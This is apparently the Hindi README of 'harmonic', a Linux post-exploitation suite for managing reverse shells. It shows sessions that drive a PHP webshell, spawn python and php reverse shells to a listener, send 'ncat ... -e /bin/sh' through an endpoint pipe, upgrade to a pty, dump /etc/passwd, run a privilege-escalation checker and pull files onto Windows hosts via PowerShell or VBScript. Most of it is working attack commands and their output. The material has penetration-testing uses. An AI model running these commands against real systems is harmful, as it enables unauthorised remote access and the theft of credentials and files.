
नेटिव शेल के भीतर काम करने के उद्देश्य से तैयार रिवर्स शेल हैंडलिंग सुइट
लिनक्स टूलसेट की शुरुआत जो रिवर्स शेल्स के प्रबंधन और इंटरफेसिंग के लिए है (कोड अभी भी जल्दबाजी और गंदी स्थिति में है, जिसमें बहुत कम अपवाद प्रबंधन है)। UNIX दर्शन से प्रबल प्रेरणा के साथ, मूल विचार यह है कि एक डेमन हो जो मनमाने एंडपॉइंट्स को संभालता है (connd, हालांकि यह अभी एक उचित डेमन नहीं है लेकिन एक अलग टर्मिनल में चल सकता है) और उन एंडपॉइंट्स के विरुद्ध टूल्स चलाता है।
एंडपॉइंट्स एक स्क्रिप्ट या प्रक्रिया द्वारा 'संचालित' होते हैं और फाइलसिस्टम में फाइलों के रूप में प्रदर्शित होते हैं, और फिर एक पतला सॉफ्टवेयर क्लाइंट उनके साथ इंटरैक्ट करने के लिए इस्तेमाल किया जा सकता है, लेकिन शेल कमांड का उपयोग करके उन्हें आसानी से लिखा और पढ़ा भी जा सकता है। वास्तव में, स्क्रिप्ट को शेल से स्वतंत्र रूप से चलाने में सक्षम होना एक प्रमुख डिज़ाइन कारक है, जहाँ आदर्श रूप से, एक स्क्रिप्ट अधिक से अधिक एक एंडपॉइंट के मौजूद होने पर निर्भर करेगी, लेकिन इसे संयोजन में भी इस्तेमाल किया जा सकता है (एक दूसरे में कैस्केड)।
वर्तमान एंडपॉइंट विकल्प हैं:
पतला सॉफ्टवेयर क्लाइंट (hthinc.py) सिस्टम के एंडपॉइंट के लिए एक बुनियादी इंटरफ़ेस प्रदान करता है, साथ ही सिस्टम पर जल्दी से स्क्रिप्ट चलाता है। कई बुनियादी लेकिन उपयोगी स्क्रिप्ट लिखी गई हैं:
रिवर्स शेल ड्राइवरों के प्रकार (यानी रिमोट सिस्टम पर शेल को क्या चला रहा है) निम्नलिखित हैं (वर्तमान में linux के लिए समर्थन):
अन्य स्क्रिप्ट्स:
connd को एक एंडपॉइंट शुरू करने के लिए कहें, दिए गए php स्क्रिप्ट के विरुद्ध वेज शेल ड्राइवर का उपयोग करते हुए जो स्वरूपित प्रतिक्रिया के साथ सिस्टम कॉल करता है। हालाँकि, यह एक-पंक्ति स्क्रिप्ट आसानी से सर्वर लॉग में कोड इंजेक्ट की जा सकती थी।
$ hconnd.py start wsh http://example.com/hwsh.php
1
इससे एंडपॉइंट 1 बन गया है (दो i/o पाइप -- आप उन्हें run उपनिर्देशिका में t1i और t1o के रूप में देख सकते हैं)। तो अब हम शेल के साथ इंटरैक्ट करने के लिए hthinc.py का उपयोग करते हैं।
$ hthinc.py 1
<harmonic> thinc
runik@hwsh:example.com /var/www/public_html $ whoami
www-data
% 0
runik@hwsh:example.com /var/www/public_html $ uname -a
Linux green 4.4.0-83-generic #106-Ubuntu SMP Mon Jun 26 17:54:43 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
% 0
हम जानते हैं कि यह एक Linux बॉक्स है। हम एक फँसी हुई वेब शेल से बाहर निकलकर एक उचित शेल प्राप्त करना चाहते हैं। अंतर्निहित कमांड !help चलाने से thinc सहायता संदेश मिलता है। हम एक स्क्रिप्ट sp चला सकते हैं जो स्वचालित रूप से रिमोट सिस्टम पर कमांड चलाएगी, वातावरण की एन्यूमरेशन करेगी, एक nc एंडपॉइंट शुरू करेगी, एक रिवर्स शेल स्पॉन करेगी और नए hthinc.py के माध्यम से स्वचालित रूप से ड्रॉप करेगी:
runik@hwsh:example.com /var/www/public_html $ !run sp LHOST=127.0.0.1 LPORT=4455
<harmonic> basic shell spawner
[+] Running enumeration...
[+] Checking for python version... 2.7
[+] Generating python reverse shell command (127.0.0.1:4455)... OK
[+] Starting endpoint... 2
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$
या यदि हम जानते हैं कि हम (उदाहरण के लिए) PHP को ड्राइवर के रूप में उपयोग कर रहे हैं, तो हम इसे निर्दिष्ट कर सकते हैं:
runik@hwsh:example.com /var/www/public_html $ !run sp DRIVER=php LHOST=127.0.0.1 LPORT=4455
<harmonic> basic shell spawner
[+] Generating php reverse shell command (127.0.0.1:4455)... OK
[+] Starting endpoint... 2
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$
और मान लीजिए कि हमारे पास बिना TTY वाला शेल है या बाहर निकलना चाहते हैं, तो हम डिफ़ॉल्ट मैक्रोज़ में से एक चला सकते हैं:
$ tty
no tty
$ !run mac pty
[email protected]:/var/www/html/$
इसके अलावा यदि हम किसी कमांड के आउटपुट को लॉग करना चाहते हैं, तो हम log स्क्रिप्ट का उपयोग कर सकते हैं जो इसे वर्तमान कार्यशील निर्देशिका में सहेज देगी:
$ !run log cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
df12:x:1000:1000::/home/df12:/bin/zsh
[+] Saved to /home/examples/10.0.2.12/post/cat__etc_passwd_0
जब एंडपॉइंट्स चल रहे हों, तो आप क्लाइंट्स को अटैच/डिटैच कर सकते हैं क्योंकि कनेक्शन प्रक्रियाओं का प्रबंधन डेमन द्वारा किया जाता है।
क्योंकि सब कुछ अधिक यूनिक्स-शैली में चलाया जा सकता है, हम शेल से तेज़ी से प्रक्रियाओं को दोहरा सकते हैं। हम एक वेबशेल एंडपॉइंट शुरू करते हैं, एंडपॉइंट आईडी प्राप्त करते हैं और फिर शेल से एंडपॉइंट के विरुद्ध sp.py स्पॉनर स्क्रिप्ट चलाते हैं (यह वही स्क्रिप्ट है जो hthinc.py में उपयोग की जाती है लेकिन एक अलग प्रवेश बिंदु के साथ)।
$ hconn.py start wsh http://example.com/hwsh.php
1
$ hscr.py 1 sp 4455
<harmonic> basic shell spawner
[+] Running enumeration...
[+] Checking for python version... 2.7
[+] Generating python reverse shell command (127.0.0.1:4455)... OK
[+] Starting endpoint... 2
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$
या एक-लाइनर के रूप में:
$ hscr.py `hconn.py start wsh http://example.com/hwsh.php` sp 4455
और आसानी से स्वचालित करें:
$ cat reverse.sh
#!/bin/bash
hscr.py `hconn.py start wsh http://example.com/hwsh.php` sp 4455
$ ./reverse.sh
<harmonic> basic shell spawner
[+] Running enumeration...
...
$
टूल hcmd.py आपको अपने शेल से एक एंडपॉइंट के माध्यम से तेज़ी से कमांड चलाने की अनुमति देता है।
$ hcmd.py 2 uname -a
Linux kali 4.12.0-kali1-amd64 #1 SMP Debian 4.12.6-1kali6 (2017-08-30) x86_64 GNU/Linux
और पाइप या रीडायरेक्ट परिणाम सामान्य रूप से करें
$ hcmd.py 2 ifconfig | grep wlan
wlan0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
आप hconn.py के लिए list क्रिया का उपयोग कर सकते हैं ताकि एंडपॉइंट्स की वर्तमान सूची देख सकें, यदि प्रासंगिक हो तो कनेक्शन की स्थिति के साथ।
$ hconn.py list
1 [26616]: /home/runik/Tools/harmonic/hwsh.py http://10.15.10.4/hwsh.php
2 [26622]: nc -lp 4455 Established -> 10.15.10.4
3 [26659]: nc -nlvp 4495 Listening
एक वेज शेल एंडपॉइंट सेट करें:
$ hconn.py start wsh http://example.com/hwsh.php
1
अब हम पोर्ट 4444 पर एक नेटकैट लिसनर सेट कर सकते हैं:
$ hconn.py start nc 4444
2
और फिर इनपुट फ़ाइल के माध्यम से वेज शेल एंडपॉइंट (eid 1) पर लिखें:
$ echo "ncat 127.0.0.1 4444 -e /bin/sh" > run/t1i
इससे नेटकैट लिसनर पर एक शेल वापस भेजा जाना चाहिए। पतले क्लाइंट को नेटकैट एंडपॉइंट (eid 2) से अटैच करें और हमारे पास एक और शेल इंतज़ार कर रहा होना चाहिए:
$ hthinc.py 2
<harmonic> thinc
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
शेल इंटरफ़ेस को फाइलों में सामान्यीकृत करने का अर्थ है कि वेबशेल एंडपॉइंट के विरुद्ध उपयोग की जाने वाली स्क्रिप्ट्स नेटकैट रिवर्स शेल एंडपॉइंट के विरुद्ध भी काम करेंगी। आप
स्क्रिप्ट्स को उनके निरपेक्ष पथ ($HCROOT/share/script/*.py) का उपयोग करके चला सकते हैं या सहायक स्क्रिप्ट hscr.py का उपयोग कर सकते हैं।
हम नेटकैट एंडपॉइंट के विरुद्ध sp.py चला सकते हैं और एक और रिवर्स शेल स्पॉन कर सकते हैं:
$ hscr.py 2 sp 4495 127.0.0.1
<harmonic> basic shell spawner
[+] Running enumeration...
[+] Checking for python version... 2.7
[+] Starting endpoint... 3
[+] Generating python reverse shell command (127.0.0.1:4495)... OK
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$
और निरपेक्ष पथ का उपयोग करने वाला समतुल्य $ $HCROOT/share/script/sp.py 2 4495 127.0.0.1 होगा।
या हम वेबशेल के विरुद्ध Linux Priv Escalation Checker चला सकते हैं:
$ $HCROOT/share/script/lpc.py 1
<harmonic> Linux Priv Check Wrapper
============================================================
LINUX PRIVILEGE ESCALATION CHECKER
============================================================
...
Finished
और हम उन्हें hthinc.py इंस्टेंस के अंदर भी लागू कर सकते हैं
!run lpc
पर्यावरण चर का उपयोग वैश्विक मानों को परिभाषित करने के लिए किया जा सकता है। चर के तीन स्तर हैं, प्रत्येक अगले की तुलना में कम प्राथमिकता वाला है:
resource फ़ाइल चर $HCROOT/.hcrc में परिभाषित हैं। ये सबसे कम प्राथमिकता वाले हैं लेकिन सिस्टम-व्यापी पर्यावरण चर को प्रदूषित करने से बचने के लिए उपयोग किए जा सकते हैं।
environment/shell चर शेल द्वारा प्रक्रिया में लाए जाते हैं और HCV_ से उपसर्गित होते हैं। ये resource चरों के साथ मर्ज होंगे और पहले से मौजूद मानों को अधिलेखित कर देंगे।
inline चर पहले परिभाषित किसी भी चीज़ को अधिलेखित कर देंगे।
इन उदाहरणों के लिए, LHOST=127.0.0.1 को .hcrc में resource चर के रूप में परिभाषित किया गया है और स्क्रिप्ट उपयोग का तरीका ./script LPORT [LHOST] है।
निम्नलिखित स्क्रिप्ट में LHOST=127.0.0.1 और LPORT=4455 होगा (resource चर)
$ ./script 4455
निम्नलिखित स्क्रिप्ट में LHOST=192.168.1.101 और LPORT=4455 होगा (shell चर)
$ HCV_LHOST=192.168.1.101 ./script 4455
निम्नलिखित स्क्रिप्ट में LHOST=10.10.10.125 होगा (inline चर)
$ HCV_LHOST=192.168.1.101 ./script 4455 10.10.10.125
इन्हीं सिद्धांतों को hthinc.py !run SCR पर लागू किया जा सकता है, (ध्यान रखें: environment/shell चर वे हैं जो ./hthinc.py को दिए जाते हैं)।
पोर्टल सर्वर एक बुनियादी HTTP सर्वर है जिसका उपयोग स्क्रिप्ट्स का उपयोग करके रिमोट सिस्टम पर फ़ाइलें खींचने के लिए किया जा सकता है। ये स्क्रिप्ट्स कमांड के चारों ओर मैक्रोज़ की तरह कार्य करती हैं, जिससे प्लेटफार्मों के बीच अधिक समान इंटरैक्शन बनता है। सर्वर फ़ाइलों को $HCROOT/share/disp/ से सापेक्ष रूप से संभालता है।
hpd.py पोर्ट 80 पर चल रहा है। DHOST और DPORT को .hcrc में क्रमशः 127.0.0.1 और 80 के रूप में परिभाषित किया गया है (वे डिस्पैच सर्वर की ओर इंगित करते हैं)। इसका मतलब है कि स्क्रिप्ट लागू करते समय मुझे इन चरों को दर्ज करने की आवश्यकता नहीं है, लेकिन यदि इन्हें अलग होना आवश्यक है, तो हम उन्हें FILE= चर की तरह इनलाइन चर के रूप में शामिल करते हैं।
हम स्क्रिप्ट्स को hthinc.py से लागू कर रहे हैं, लेकिन, फिर से, हम कमांड लाइन पर एक एंडपॉइंट आईडी देकर इन स्क्रिप्ट्स को अपने सामान्य शेल से चला सकते हैं। यदि DHOST और DPORT पहले से परिभाषित हैं, तो हमें उन्हें कमांड लाइन पर शामिल करने की आवश्यकता नहीं है।
इसके लिए हम फ़ाइल खींचने के लिए pspull के माध्यम से powershell का उपयोग कर रहे हैं:
c:\Users\user\Desktop>!run pspull FILE=txt/test.txt
[+] 127.0.0.1 --> () --> test.txt
[+] Pull successful
यहाँ हमारे पास PowerShell नहीं है, इसलिए हमें पोर्टल स्क्रिप्ट को प्रारंभ करना होगा, फिर फ़ाइल खींचनी होगी:
c:\Users\user\Desktop>!run wpinit
<harmonic> Win Portal Initialiser
[+] Running enumeration...
[+] Checking VB engine... OK
[+] Using engine: VB
[+] Loading non-interactive script generator for 127.0.0.1... OK
[+] Running generator... OK
[+] Portal should be ready
c:\Users\user\Desktop>!run vbpull FILE=txt/test.txt
[+] Portal --> () --> test.txt
[+] Pull successful
pull स्क्रिप्ट Linux के लिए उपयोग की जाती है:
$ !run pull FILE=txt/test.txt
[+] 127.0.0.1 --> () --> test.txt
[+] Pull successful
बस inline चरों को स्पष्ट करने के लिए:
$ !run pull FILE=txt/test.txt DHOST=192.168.1.1
[+] 192.168.1.1 --> () --> test.txt
[+] Pull successful
मैक्रोज़ $HCROOT/.hcrc मैक्रो में परिभाषित होते हैं और mac स्क्रिप्ट द्वारा लागू किए जाते हैं। इस बुनियादी रूप में वे शेल में एक alias के समान होते हैं और प्रभावी रूप से सरल एक-तरफ़ा स्क्रिप्ट होते हैं, जो एंडपॉइंट के माध्यम से रिमोट शेल में एक कमांड भेजते हैं। नियमित रूप से उपयोग किए जाने वाले लेकिन श्रमसाध्य कमांड अनुक्रमों को मैक्रोज़ से बाँधना आसान है।
hthinc.py से mac स्क्रिप्ट लागू करने में एक अनाम चर का उपयोग शामिल होता है, जो बिना लेबल वाला चर होता है। यह मैक्रोज़ को स्क्रिप्ट के कमांडलाइन पैरामीटर की तरह लागू करने की अनुमति देता है।
फिर से, मैक्रोज़ को आपके सामान्य शेल से उसी mac.py स्क्रिप्ट का उपयोग करके लागू किया जा सकता है।
यह उदाहरण एक अस्थिर शेल में pty मैक्रो को लागू करता है। यह मैक्रो python -c 'import pty; pty.spawn("/bin/bash")' का alias है:
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
tty
no tty
!run mac pty
[email protected]:/var/www/html/$
इसे कमांड लाइन से (जैसे) एंडपॉइंट 5 पर चलाने का समतुल्य hscr.py 5 mac pty होगा। अगली बार जब आप एंडपॉइंट से एक क्लाइंट अटैच करेंगे,
यह tty के साथ चल रहा होना चाहिए।
!run mac --list दर्ज करने से मैक्रोज़ की सूची प्रदर्शित होगी।
connd बनाने के लिए:
go build connd